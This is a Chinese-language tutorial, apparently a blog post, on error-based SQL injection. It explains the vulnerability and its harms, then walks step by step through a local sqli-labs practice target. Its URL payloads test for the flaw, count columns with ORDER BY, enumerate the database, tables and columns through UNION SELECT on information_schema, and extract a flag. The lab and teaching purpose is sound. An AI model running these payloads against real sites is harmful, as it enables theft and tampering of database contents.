SQL显错注入


SQL显错注入

sql注入原理:

sql注入漏洞是web层面最高危的漏洞之一,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

综上所述:sql注入漏洞的形成原因就是:用户输入的数据被SQL解释器执行。

SQL注入攻击的主要危害包括:

非法读取、篡改、添加、删除数据库中的数据;

数据库信息泄漏:数据库中存放的用户的隐私信息的泄露,攻击者盗取用户的各类敏感信息,获取利益。

网页篡改:通过修改数据库来修改网页上的内容。

数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改,攻击者私自添加或删除账号

网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击;

服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
破坏硬盘数据,瘫痪全系统。

靶场

首先判断注入点

?id=1’进行判断 测试报错
可以看到报错

SQL显错注入

用 and 1 = 1去测试:

发现回显正常
–+是注释
SQL显错注入

用 and 1 = 2 去测试:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1’ and 1 = 2

回显示失败,说明存在注入点。

用order by 判断字段

Order by 4的时候报错
说明有3个字段

构造语句

?id=-1’ union select 1,2,3 --+

SQL显错注入
发现回显字段为2,3

爆数据库名

构造语句

?id=-1’ union select 1,2, database()

SQL显错注入

爆出数据库名为security

爆表名

使用过滤查询语句where 查看security数据库内的表

构造语句

?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = ‘security’

SQL显错注入

看到有五个表

爆出表名 目测zkaq表内有我们想要的东西

爆列

构造语句

?id=-1’ union select 1, group_concat(column_name),3 from information_schema.columns where table_name = ‘zkaq’–+

SQL显错注入

看到我们想要的东西了!!!

查看我们的FLAG

构造语句

?id=-1’ union select 1,zkaq,flag from zkaq–+

SQL显错注入

得到Flag.